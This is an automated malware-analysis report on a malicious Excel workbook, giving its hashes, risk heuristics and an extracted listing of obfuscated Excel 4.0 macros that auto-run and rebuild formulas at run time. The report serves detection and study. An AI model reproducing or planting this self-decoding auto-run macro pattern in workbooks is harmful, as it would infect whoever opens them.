Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2344c82e0a9fc45a…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:26:01 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 498b0561d480ebcff181971cb50972e4 SHA-1: 863eee9fda52cc31b6da9d80cb6ba02dd6d3ee1f SHA-256: 2344c82e0a9fc45a542cefd5989c228c8ac883bc2e5e39296ed8e5af73d2e4a7
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6389 bytes
SHA-256: 15e915f36c752d4cd1020fd978d9197f3c813f52c4eae2ea4e6c42b56df59193
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  TOOA
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H161 
' 0018     25 LABEL : Cell Value, String Constant - AVjGOqpwAS len=0 
' 0018     22 LABEL : Cell Value, String Constant - azayDne len=0 
' 0018     22 LABEL : Cell Value, String Constant - bErfCVf len=0 
' 0018     21 LABEL : Cell Value, String Constant - BUySxF len=0 
' 0018     22 LABEL : Cell Value, String Constant - CQRgbzR len=0 
' 0018     26 LABEL : Cell Value, String Constant - dIXSUHKSZaj len=0 
' 0018     20 LABEL : Cell Value, String Constant - dlAfa len=0 
' 0018     26 LABEL : Cell Value, String Constant - ehpJrWNhAbw len=0 
' 0018     21 LABEL : Cell Value, String Constant - FjHAlr len=0 
' 0018     22 LABEL : Cell Value, String Constant - frIFnll len=0 
' 0018     21 LABEL : Cell Value, String Constant - fSDlUY len=0 
' 0018     20 LABEL : Cell Value, String Constant - iFNko len=0 
' 0018     21 LABEL : Cell Value, String Constant - jjzrUW len=0 
' 0018     23 LABEL : Cell Value, String Constant - MFzcSWtS len=0 
' 0018     27 LABEL : Cell Value, String Constant - OEMwTzgPBrMR len=0 
' 0018     27 LABEL : Cell Value, String Constant - OyrARWpumvBs len=0 
' 0018     27 LABEL : Cell Value, String Constant - QONSvdCilHNc len=0 
' 0018     22 LABEL : Cell Value, String Constant - tHYtqNo len=0 
' 0018     25 LABEL : Cell Value, String Constant - XevMCSvOyP len=0 
' 0018     21 LABEL : Cell Value, String Constant - xvnZJq len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  TOOA,H75,"SET.NAME("OyrARWpumvBs",VALUE("0"))",""
'  TOOA,H79,"SET.NAME("CQRgbzR",OyrARWpumvBs)",""
'  TOOA,H84,"SET.NAME("BUySxF",OyrARWpumvBs)",""
'  TOOA,H87,"SET.NAME("bErfCVf",COUNTA(iFNko))",""
'  TOOA,H92,"SET.NAME("AVjGOqpwAS",COUNTA(FjHAlr))",""
'  TOOA,H95,[],""
'  TOOA,H98,"SET.NAME("OEMwTzgPBrMR","")",""
'  TOOA,H101,"CQRgbzR",""
'  TOOA,H103,"SET.NAME("jjzrUW",HLOOKUP("*",iFNko,CQRgbzR,FALSE))",""
'  TOOA,H106,"frIFnll",""
'  TOOA,H111,"SET.NAME("tHYtqNo",OyrARWpumvBs)",""
'  TOOA,H114,[],""
'  TOOA,H116,"tHYtqNo",""
'  TOOA,H118,"xvnZJq",""
'  TOOA,H121,"dIXSUHKSZaj",""
'  TOOA,H124,"XevMCSvOyP",""
'  TOOA,H128,"SET.NAME("fSDlUY",VALUE(HLOOKUP("*",FjHAlr,XevMCSvOyP,FALSE)))",""
'  TOOA,H132,"ehpJrWNhAbw",""
'  TOOA,H137,"OEMwTzgPBrMR",""
'  TOOA,H139,"BUySxF",""
'  TOOA,H142,NEXT(),""
'  TOOA,H144,"QONSvdCilHNc",""
'  TOOA,H148,"SET.NAME("f",INT(T(FORMULA(T(OEMwTzgPBrMR)&"",""&T(QONSvdCilHNc)))))",""
'  TOOA,H150,"azayDne",""
'  TOOA,H154,NEXT(),""
'  TOOA,H158,RETURN(),""
'  TOOA,H187,"SET.NAME("dlAfa",H75)",""
'  TOOA,H191,"iFNko",""
'  TOOA,H195,"SET.NAME("FjHAlr",R63C12)",""
'  TOOA,H197,"SET.NAME("azayDne",206)",""
'  TOOA,H201,"SET.NAME("MFzcSWtS",8)",""
'  TOOA,H205,dlAfa(),""
'  TOOA,H206,HALT(),""